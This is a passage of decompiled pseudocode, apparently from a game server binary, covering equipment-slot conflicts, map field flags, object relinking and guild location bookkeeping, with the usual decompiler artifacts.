EquipEnumChanger::ExclusiveCell *v11; // ebx@3 int v12; // eax@5 int v13; // edi@9 int v14; // eax@9 int equslot; // [sp+10h] [bp-18h]@2 void *iset; // [sp+14h] [bp-14h]@1 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v18; // [sp+24h] [bp-4h]@1 v6 = this; _.fe_FunctionCode = "EquipEnumChanger::eec_ConflictWithNewEquip"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "EquipEnumChanger::eec_ConflictWithNewEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EquipEnumChanger::eec_ConflictWithNewEquip"; v7 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = iis->ISET_Index; v18 = 0; v9 = ItemEquipTable::iet_GetArray(&g_ItemEquipTable, v8); iset = v9; if ( v9 ) { equslot = 0; iis = (ItemInfoServer *)-1; if ( EquipEnumChanger::eec_Next(v6, (int *)&iis) ) { v10 = excellnum; v11 = excell; while ( 1 ) { v12 = 0; if ( *v10 <= 0 ) { LABEL_8: if ( *((_BYTE *)v9 + (_DWORD)EquipEnumChanger::eec_GetColumn(v6, (int *)&iis, (ItemEquipEnum *)&equslot)) == 2 ) { v13 = equslot; v14 = ((int (__stdcall *)(int))equipment->vfptr->ib_GetInventoryCell)(equslot); if ( *(_WORD *)(v14 + 8) != -1 ) { v11[*v10].ec_EquipSlot = v13; v11[(*v10)++].ec_EquipCell = (ItemInventoryCell *)v14; } } } else { while ( (ItemInfoServer *)v11[v12].ec_EquipSlot != iis ) { ++v12; if ( v12 >= *v10 ) goto LABEL_8; } } if ( !EquipEnumChanger::eec_Next(v6, (int *)&iis) ) break; v9 = iset; } v7 = -1; } } --funcallanalizer.fca_stackpoint; v18 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_ConflictWithNewEquip"); } //----- (00453110) -------------------------------------------------------- void __thiscall EquipEnumChanger::eec_ConflictWithOldEquip(EquipEnumChanger *this, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, ItemEquipEnum equipslot, InventoryLocking::InventoryCellLockList *lock) { EquipEnumChanger *v6; // ebp@1 signed int v7; // esi@1 EquipEnumChanger::ExclusiveCell *v8; // ebx@2 int v9; // eax@3 int v10; // edi@6 unsigned __int16 v11; // dx@6 int v12; // ebp@8 unsigned __int16 v13; // cx@10 int v14; // ebp@11 ItemServerEquipTypeInfo *v15; // eax@13 int slot; // [sp+10h] [bp-1Ch]@1 int finger; // [sp+14h] [bp-18h]@1 EquipEnumChanger *v18; // [sp+18h] [bp-14h]@1 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v20; // [sp+28h] [bp-4h]@1 v6 = this; v18 = this; _.fe_FunctionCode = "EquipEnumChanger::eec_ConflictWithOldEquip"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "EquipEnumChanger::eec_ConflictWithOldEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EquipEnumChanger::eec_ConflictWithOldEquip"; v7 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; slot = 0; finger = -1; if ( !EquipEnumChanger::eec_Next(v6, &finger) ) { LABEL_19: v20 = v7; goto LABEL_20; } v8 = excell; while ( 1 ) { v9 = 0; if ( *excellnum > 0 ) { while ( v8[v9].ec_EquipSlot != finger ) { ++v9; if ( v9 >= *excellnum ) goto LABEL_6; } goto LABEL_17; } LABEL_6: EquipEnumChanger::eec_GetColumn(v6, &finger, (ItemEquipEnum *)&slot); v10 = ((int (__stdcall *)(int))equipment->vfptr->ib_GetInventoryCell)(slot); v11 = *(_WORD *)(v10 + 8); if ( v11 == -1 ) goto LABEL_17; if ( (unsigned int)v11 >= unk_131DE8B4 || (v12 = unk_131DF0C4 + 32 * v11) == 0 || !*(_DWORD *)v12 ) goto LABEL_22; v13 = **(_WORD **)v12; if ( v13 != v11 ) break; v14 = *(_DWORD *)(v12 + 4); if ( v14 ) { v15 = ItemEquipTable::iet_GetArray(&g_ItemEquipTable, *(ISEType *)(v14 + 191)); v6 = v18; v8 = excell; if ( v15 && *((_BYTE *)&v15->ISET_Index + (unsigned int)v18->eec_Column[equipslot]) != 2 ) goto LABEL_17; excell[*excellnum].ec_EquipSlot = slot; excell[*excellnum].ec_EquipCell = (ItemInventoryCell *)v10; } else { v8 = excell; v6 = v18; excell[*excellnum].ec_EquipSlot = slot; excell[*excellnum].ec_EquipCell = (ItemInventoryCell *)v10; } ++*excellnum; LABEL_17: if ( !EquipEnumChanger::eec_Next(v6, &finger) ) { v7 = -1; goto LABEL_19; } } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v13 + 10000 * v11); LABEL_22: v20 = -1; LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EquipEnumChanger::eec_ConflictWithOldEquip"); } //----- (004532F0) -------------------------------------------------------- void __thiscall Name8::Name8(Name8 *this, const char *str) { *(_QWORD *)&this->n8_name[24] = 0i64; *(_QWORD *)&this->n8_name[16] = 0i64; *(_QWORD *)&this->n8_name[8] = 0i64; *(_QWORD *)&this->n8_name[0] = 0i64; strncpy(this->n8_name, str, 0x20u); } //----- (00453330) -------------------------------------------------------- int __thiscall Name8::operator__(Name8 *this, Name8 *nm) { return *(_DWORD *)&this->n8_name[0] == *(_DWORD *)&nm->n8_name[0] && *(_DWORD *)&this->n8_name[4] == *(_DWORD *)&nm->n8_name[4] && *(_DWORD *)&this->n8_name[8] == *(_DWORD *)&nm->n8_name[8] && *(_DWORD *)&this->n8_name[12] == *(_DWORD *)&nm->n8_name[12] && *(_DWORD *)&this->n8_name[16] == *(_DWORD *)&nm->n8_name[16] && *(_DWORD *)&this->n8_name[20] == *(_DWORD *)&nm->n8_name[20] && *(_DWORD *)&this->n8_name[24] == *(_DWORD *)&nm->n8_name[24] && *(_DWORD *)&this->n8_name[28] == *(_DWORD *)&nm->n8_name[28]; } //----- (00453380) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::_VectorWithLength(VectorClass::VectorWithLength *this) { this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00453390) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::vwl_Scale(VectorClass::VectorWithLength *this, int newdist) { VectorClass::VectorWithLength *v2; // esi@1 int v3; // ecx@3 int v4; // edi@3 int v5; // eax@3 v2 = this; if ( !this->vwl_Length ) { this->baseclass_4.v_x = 1; this->baseclass_4.v_y = 0; this->vwl_Length = 1; } v3 = this->vwl_Length; v4 = newdist * v2->baseclass_4.v_x / v3; v5 = newdist * v2->baseclass_4.v_y / v3; v2->baseclass_4.v_x = v4; v2->baseclass_4.v_y = v5; v2->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v5); } //----- (004533F0) -------------------------------------------------------- void __thiscall MapLoadLog::mll_Write(MapLoadLog *this, Name3 *mapid) { MapLoadLog *v2; // esi@1 _iobuf *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 v2 = this; this->mll_MemSize += 1238936; v3 = fopen("MapLoad.txt", "a"); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_QWORD *)v5 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v5 + 2) = *(_DWORD *)&mapid->n3_name[8]; v5[12] = 0; fprintf(v3, "[%d]%s/%d\n"); ++v2->mll_Number; fclose(v3); } //----- (00453470) -------------------------------------------------------- void __thiscall MapSubString::MapSubString(MapSubString *this, char *from, char *to) { char *v3; // edx@1 char v4; // bl@2 char *v5; // edx@3 char v6; // bl@4 v3 = from; do { v4 = *v3; v3[(char *)this - from] = *v3; ++v3; } while ( v4 ); v5 = to; do { v6 = *v5; v5[this->mss_To - to] = *v5; ++v5; } while ( v6 ); } //----- (004534B0) -------------------------------------------------------- void __thiscall MapSubString::mss_Home(MapSubString *this) { this->mss_Cur[0] = 45; this->mss_StrLen = strlen(this->mss_From) - 1; } //----- (004534E0) -------------------------------------------------------- char *__thiscall MapSubString::mss_Get(MapSubString *this) { return this->mss_Cur; } //----- (004534F0) -------------------------------------------------------- char __thiscall MapSubString::mss_Next(MapSubString *this) { MapSubString *v1; // ebp@1 char *v2; // edi@1 MapSubString *v3; // eax@2 char v4; // cl@3 char result; // al@4 int v6; // eax@6 v1 = this; v2 = this->mss_Cur; if ( this->mss_Cur[0] == 45 ) { v3 = this; do { v4 = v3->mss_From[0]; v3->mss_Cur[0] = v3->mss_From[0]; v3 = (MapSubString *)((char *)v3 + 1); } while ( v4 ); result = 1; } else { if ( strcmp(this->mss_Cur, this->mss_To) && (v6 = v1->mss_StrLen, v6 >= 0) ) { while ( v2[v6] >= 57 ) { --v6; v2[v6 + 1] = 48; if ( v6 < 0 ) goto LABEL_9; } ++v1->mss_Cur[v6]; result = 1; } else { LABEL_9: result = 0; } } return result; } //----- (00453580) -------------------------------------------------------- signed int __thiscall FieldMap::fm_Regist2WMS(int this, int lst, __int16 hnd, int arg) { int v4; // eax@1 int v5; // edx@1 v4 = arg; v5 = 15 * *(_WORD *)arg + arg + 3; *(_DWORD *)v5 = *(_DWORD *)this; *(_DWORD *)(v5 + 4) = *(_DWORD *)(this + 4); *(_DWORD *)(v5 + 8) = *(_DWORD *)(this + 8); *(_BYTE *)(15 * *(_WORD *)v4 + v4 + 2) = *(_BYTE *)(*(_DWORD *)(this + 12) + 158); *(_BYTE *)(15 * (*(_WORD *)arg + 1) + arg) = *(_BYTE *)(*(_DWORD *)(this + 12) + 54) == 1; *(_BYTE *)(15 * *(_WORD *)arg + arg + 16) = *(_BYTE *)(*(_DWORD *)(this + 12) + 158) == 0; ++*(_WORD *)v4; return 1; } //----- (004535F0) -------------------------------------------------------- int __thiscall FieldMap::fm_MoveCenter(int this, int xy) { int result; // eax@1 result = xy; *(_DWORD *)xy = *(_DWORD *)(this + 24) >> 1; *(_DWORD *)(xy + 4) = *(_DWORD *)(this + 28) >> 1; return result; } //----- (00453610) -------------------------------------------------------- bool __thiscall FieldMap::fm_InMap(int this, int x, int y) { return x >= 0 && x < *(_DWORD *)(this + 24) && y >= 0 && y < *(_DWORD *)(this + 28); } //----- (00453640) -------------------------------------------------------- void __thiscall MapRearrangeObserver::_MapRearrangeObserver(MapRearrangeObserver *this) { _eh_vector_destructor_iterator_( this, 0x24u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00453660) -------------------------------------------------------- void __thiscall AxialListNumberCount::_AxialListNumberCount(AxialListNumberCount *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNumberCount::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 63FA2C: using guessed type int (__stdcall *AxialListNumberCount___vftable_)(int, int, int distancesquar); //----- (00453670) -------------------------------------------------------- #error "453670: undefined or illegal type '#593' (funcsize=22)" //----- (004536B0) -------------------------------------------------------- char __thiscall FieldMap::fm_Set_MIDMap(int this) { char result; // al@1 result = 1; *(_BYTE *)(this + 264) = 1; return result; } //----- (004536C0) -------------------------------------------------------- char __thiscall FieldMap::fm_Get_IsMIDMap(int this) { return *(_BYTE *)(this + 264); } //----- (004536D0) -------------------------------------------------------- __int16 __thiscall FieldMap::fm_Set_MIDMaxUser(int this, __int16 nMaxUser) { __int16 result; // ax@1 result = nMaxUser; *(_WORD *)(this + 266) = nMaxUser; return result; } //----- (004536E0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_ply_GetMIDPlayerInfo(int a1) { int result; // eax@1 result = a1; *(_DWORD *)a1 = -1; *(_DWORD *)(a1 + 4) = 0; *(_DWORD *)(a1 + 8) = 0; *(_DWORD *)(a1 + 12) = 10000; return result; } //----- (00453710) -------------------------------------------------------- void __thiscall FieldMap::fm_SetCurFieldPKType(void *this, signed int eFType) { void *v2; // ebp@1 unsigned int v3; // edi@3 unsigned int v4; // esi@5 void *v5; // eax@6 v2 = this; if ( eFType < 8 ) { v3 = gPVPNoAttack.m_pHead ? gPVPNoAttack.m_pHead->nNumOfRecord : 0; v4 = 0; if ( v3 ) { while ( 1 ) { v5 = CDataReader::GetRecord(&gPVPNoAttack, v4); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "fm_Init : pPVPNoAttack NULL", v4); return; } if ( eFType == *(_DWORD *)v5 ) break; ++v4; if ( v4 >= v3 ) return; } *((_DWORD *)v2 + 104) = v5; } } } //----- (00453780) -------------------------------------------------------- char __thiscall FieldMap::fm_IsPkToggleField(int this) { int v1; // eax@1 char result; // al@3 v1 = *(_DWORD *)(this + 416); if ( v1 ) { switch ( *(_DWORD *)(v1 + 4) ) { case 3: case 4: result = 1; break; default: goto $L172803; } } else { $L172803: result = 0; } return result; } //----- (004537C0) -------------------------------------------------------- char __thiscall FieldMap::fm_IsGuildWarField(int this) { int v1; // eax@1 char result; // al@3 v1 = *(_DWORD *)(this + 416); if ( v1 ) { switch ( *(_DWORD *)(v1 + 4) ) { case 2: case 4: result = 1; break; default: goto $L172816; } } else { $L172816: result = 0; } return result; } //----- (00453800) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00453820) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 64013C: using guessed type int (__stdcall *List_FieldMap____vftable_[3])(__int16 hnd); //----- (00453840) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x39u, 0x30u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004538F0) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, int dx, int dy) { int v3; // ST04_4@1 int v4; // ST00_4@1 this->baseclass_4.v_y = dy; this->baseclass_4.v_x = dx; v3 = this->baseclass_4.v_y; v4 = this->baseclass_4.v_x; this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v3); } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00453930) -------------------------------------------------------- void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b) { int v3; // ST04_4@1 int v4; // ST00_4@1 this->baseclass_4.v_x = a->x - b->x; this->baseclass_4.v_y = a->y - b->y; v3 = this->baseclass_4.v_y; v4 = this->baseclass_4.v_x; this->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v4, v3); } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00453970) -------------------------------------------------------- void __thiscall FieldMap::fm_Relink(void *this, const char *from) { void *v2; // esi@1 unsigned int v3; // ebp@1 unsigned __int16 v4; // ax@2 ShineObjectEachList *v5; // edi@3 ListStruct *v6; // ecx@5 unsigned __int16 v7; // ax@5 int v8; // edx@5 unsigned __int16 v9; // bx@6 int v10; // eax@7 int v11; // eax@8 unsigned int v12; // ebx@16 unsigned int v13; // ebp@16 unsigned int v14; // edx@16 void **v15; // edi@16 unsigned int v16; // ebp@19 unsigned __int16 v17; // ax@20 ShineObjectEachList *v18; // edi@21 ListStruct *v19; // ecx@23 unsigned __int16 v20; // ax@23 int v21; // edx@23 unsigned __int16 v22; // bx@24 int v23; // eax@25 int v24; // eax@26 unsigned int v25; // [sp+28h] [bp-14h]@16 signed int froma; // [sp+40h] [bp+4h]@16 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_Relink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_Relink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_Relink : Relink", from); do { v4 = LOWORD(objtype[v3]); if ( v4 < 0xBu ) v5 = shineobjmanager.som_ListContainer[v4]; else v5 = shineobjmanager.som_ListContainer[0]; v6 = v5->baseclass_0.l_Array; v7 = v6[v5->baseclass_0.l_Finger.store].ls_Next; v8 = 3 * v7; while ( 1 ) { v9 = v6[4 * v8 / 0xCu].ls_Next; if ( v7 >= v5->baseclass_0.l_MaxSize ) break; v10 = (int)&v5->baseclass_0.l_Array[v7]; if ( !*(_BYTE *)(v10 + 8) ) break; v11 = *(_DWORD *)v10; if ( !v11 ) break; if ( *(void **)(v11 + 98) == v2 ) ShineObjectClass::ShineObject::so_Reset_SlantedList((void *)v11); if ( v9 >= v5->baseclass_0.l_MaxSize ) break; v8 = 3 * v9; v6 = v5->baseclass_0.l_Array; v7 = v9; } ++v3; } while ( v3 < 10 ); if ( *((_DWORD *)v2 + 8) && *((_DWORD *)v2 + 9) ) { (*(void (__stdcall **)(_DWORD, _DWORD, void *, _DWORD))(**((_DWORD **)v2 + 8) + 1420))(0, 0, v2, 0); (*(void (__stdcall **)(_BYTE *, _BYTE *, void *, _DWORD))(**((_DWORD **)v2 + 9) + 1420))( &wholesaver.ws_savestore[89].gap119c8[4863], &wholesaver.ws_savestore[89].gap119c8[4863], v2, 0); ShineObjectClass::ShineObject::so_Reset_SlantedList(*((void **)v2 + 8)); ShineObjectClass::ShineObject::so_Reset_SlantedList(*((void **)v2 + 9)); SlantedCoordList::CoordedNode::cn_MakeLink2( (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 22), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 9) + 22)); SlantedCoordList::CoordedNode::cn_MakeLink2( (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 34), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 9) + 34)); v12 = *((_DWORD *)v2 + 6) / 5u; v13 = *((_DWORD *)v2 + 6) / 0xAu; v14 = *((_DWORD *)v2 + 7) / 0xAu - v13; v15 = (void **)((char *)v2 + 40); v25 = *((_DWORD *)v2 + 7) / 0xAu - v13; froma = 5; while ( 1 ) { (*(void (__stdcall **)(unsigned int, unsigned int, void *, void *))(*(_DWORD *)*v15 + 1420))( v13, v13 + v14, v2, *v15); ShineObjectClass::ShineObject::so_Reset_SlantedList(*v15); SlantedCoordList::CoordedNode::cn_AppendList( (SlantedCoordList::CoordedNode *)((char *)*v15 + 22), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 22)); SlantedCoordList::CoordedNode::cn_AppendList( (SlantedCoordList::CoordedNode *)((char *)*v15 + 34), (SlantedCoordList::CoordedNode *)(*((_DWORD *)v2 + 8) + 34)); ++v15; v13 += v12; --froma; if ( !froma ) break; v14 = v25; } v16 = 0; do { v17 = LOWORD(objtype[v16]); if ( v17 < 0xBu ) v18 = shineobjmanager.som_ListContainer[v17]; else v18 = shineobjmanager.som_ListContainer[0]; v19 = v18->baseclass_0.l_Array; v20 = v19[v18->baseclass_0.l_Finger.store].ls_Next; v21 = 3 * v20; while ( 1 ) { v22 = v19[4 * v21 / 0xCu].ls_Next; if ( v20 >= v18->baseclass_0.l_MaxSize ) break; v23 = (int)&v18->baseclass_0.l_Array[v20]; if ( !*(_BYTE *)(v23 + 8) ) break; v24 = *(_DWORD *)v23; if ( !v24 ) break; if ( *(void **)(v24 + 98) == v2 ) FieldMap::fm_Marking((#593 *)v2, v24, 0, 0); if ( v22 >= v18->baseclass_0.l_MaxSize ) break; v21 = 3 * v22; v19 = v18->baseclass_0.l_Array; v20 = v22; } ++v16; } while ( v16 < 10 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_Relink"); } //----- (00453C20) -------------------------------------------------------- void __thiscall MapRearrangeObserver::MapRearrangeObserver(MapRearrangeObserver *this) { MapRearrangeObserver *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x24u, 128, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mro_Number = 0; } //----- (00453C50) -------------------------------------------------------- void __thiscall MapRearrangeObserver::mro_Set(MapRearrangeObserver *this, char *idx) { MapRearrangeObserver *v2; // edi@1 unsigned int v3; // edx@1 int v4; // ebx@1 int v5; // eax@1 int v6; // esi@1 int v7; // ecx@2 int v8; // edx@15 int v9; // eax@15 int v10; // ecx@15 int v11; // edx@15 int v12; // ecx@15 int v13; // edx@15 int v14; // ecx@15 char index[4]; // [sp+Ch] [bp-24h]@1 int v16; // [sp+10h] [bp-20h]@1 int v17; // [sp+14h] [bp-1Ch]@1 int v18; // [sp+18h] [bp-18h]@1 int v19; // [sp+1Ch] [bp-14h]@1 int v20; // [sp+20h] [bp-10h]@1 int v21; // [sp+24h] [bp-Ch]@1 int v22; // [sp+28h] [bp-8h]@1 unsigned int v23; // [sp+2Ch] [bp-4h]@1 v2 = this; v23 = (unsigned int)index ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapRearrangeObserver::mro_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapRearrangeObserver::mro_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; *(_DWORD *)index = 0; strncpy(index, idx, 0x20u); v3 = v2->mro_Number; v4 = v17; v5 = 0; v6 = v16; if ( (signed int)v3 > 0 ) { v7 = (int)&v2->mro_Array[0].index.n8_name[8]; do { if ( *(_DWORD *)index == *(_DWORD *)(v7 - 8) && v16 == *(_DWORD *)(v7 - 4) && v17 == *(_DWORD *)v7 && v18 == *(_DWORD *)(v7 + 4) && v19 == *(_DWORD *)(v7 + 8) && v20 == *(_DWORD *)(v7 + 12) && v21 == *(_DWORD *)(v7 + 16) && v22 == *(_DWORD *)(v7 + 20) ) break; ++v5; v7 += 36; } while ( v5 < v2->mro_Number ); } if ( v5 >= (signed int)v3 ) { if ( v3 < 0x80 ) { v2->mro_Number = v3 + 1; v8 = *(_DWORD *)index; v9 = (int)((char *)v2 + 36 * v5); v10 = v18; *(_DWORD *)(v9 + 32) = 1; *(_DWORD *)v9 = v8; v11 = v19; *(_DWORD *)(v9 + 12) = v10; v12 = v20; *(_DWORD *)(v9 + 16) = v11; v13 = v21; *(_DWORD *)(v9 + 20) = v12; v14 = v22; *(_DWORD *)(v9 + 4) = v6; *(_DWORD *)(v9 + 8) = v4; *(_DWORD *)(v9 + 24) = v13; *(_DWORD *)(v9 + 28) = v14; } } else { ++v2->mro_Array[v5].number; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapRearrangeObserver::mro_Set"); } //----- (00453DD0) -------------------------------------------------------- void __thiscall FieldMap::fm_DistrubuteCalculate(void *this, int map, int ply, int mob) { void *v4; // esi@1 void *v5; // ecx@1 int (__stdcall **alnc)(int, int, int); // [sp+8h] [bp-18h]@1 int v7; // [sp+Ch] [bp-14h]@1 int v8; // [sp+10h] [bp-10h]@1 int v9; // [sp+1Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_DistrubuteCalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_DistrubuteCalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alnc); v7 = ply; v8 = mob; alnc = &AxialListNumberCount::_vftable_; *(_DWORD *)mob = 0; *(_DWORD *)v7 = 0; v5 = (void *)*((_DWORD *)v4 + 12); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&alnc, 0); *(_DWORD *)map = *(_DWORD *)v4; *(_DWORD *)(map + 4) = *((_DWORD *)v4 + 1); *(_DWORD *)(map + 8) = *((_DWORD *)v4 + 2); LOBYTE(v9) = 0; alnc = &AxialListNumberCount::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alnc); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_DistrubuteCalculate"); } // 63FA2C: using guessed type int (__stdcall *AxialListNumberCount___vftable_)(int, int, int distancesquar); //----- (00453ED0) -------------------------------------------------------- void __thiscall FieldMap::fm_GuildCollectClear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildCollectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildCollectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v1 + 45) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildCollectClear"); } //----- (00453F30) -------------------------------------------------------- void __thiscall FieldMap::fm_GuildCollectSet(void *this, int gld, int xy) { void *v3; // esi@1 unsigned int v4; // eax@1 int v5; // edx@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildCollectSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildCollectSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 45); if ( v4 < 8 ) { *((_DWORD *)v3 + 3 * v4 + 21) = *(_DWORD *)gld; v5 = 3 * *((_DWORD *)v3 + 45); *((_DWORD *)v3 + 3 * *((_DWORD *)v3 + 45) + 22) = *(_DWORD *)xy; *((_DWORD *)v3 + v5 + 23) = *(_DWORD *)(xy + 4); ++*((_DWORD *)v3 + 45); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildCollectSet"); } //----- (00453FF0) -------------------------------------------------------- void __thiscall FieldMap::fm_GuildCollectLocation(void *this, int gld, int lnkinf) { void *v3; // esi@1 int v4; // eax@1 int v5; // edx@1 int v6; // ecx@2 int v7; // ecx@6 int v8; // ecx@6 int v9; // ebp@6 int v10; // ecx@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildCollectLocation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildCollectLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 45); v5 = 0; if ( v4 > 0 ) { v6 = (int)((char *)v3 + 84); while ( *(_DWORD *)v6 != gld ) { ++v5; v6 += 12; if ( v5 >= v4 ) goto LABEL_7; } v7 = *((_DWORD *)v3 + 3); *(_DWORD *)(lnkinf + 20) = *(_DWORD *)(v7 + 103); *(_DWORD *)(lnkinf + 24) = *(_DWORD *)(v7 + 107); *(_DWORD *)(lnkinf + 28) = *(_DWORD *)(v7 + 111); *(_BYTE *)(lnkinf + 32) = 0; v8 = *((_DWORD *)v3 + 3); v9 = *(_DWORD *)(v8 + 103); v8 += 103; *(_DWORD *)(lnkinf + 53) = v9; *(_DWORD *)(lnkinf + 57) = *(_DWORD *)(v8 + 4); *(_DWORD *)(lnkinf + 61) = *(_DWORD *)(v8 + 8); *(_BYTE *)(lnkinf + 65) = 0; v10 = (int)((char *)v3 + 12 * v5); *(_DWORD *)(lnkinf + 86) = *(_DWORD *)(v10 + 88); *(_DWORD *)(lnkinf + 90) = *(_DWORD *)(v10 + 92); *(_WORD *)(lnkinf + 94) = 0; } LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildCollectLocation"); } //----- (004540F0) -------------------------------------------------------- signed int __thiscall FieldMap::fm_FindBlockLocation(void *this, int start, signed int distance, int div, int block, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)) { signed int v6; // eax@1 signed int result; // eax@2 int v8; 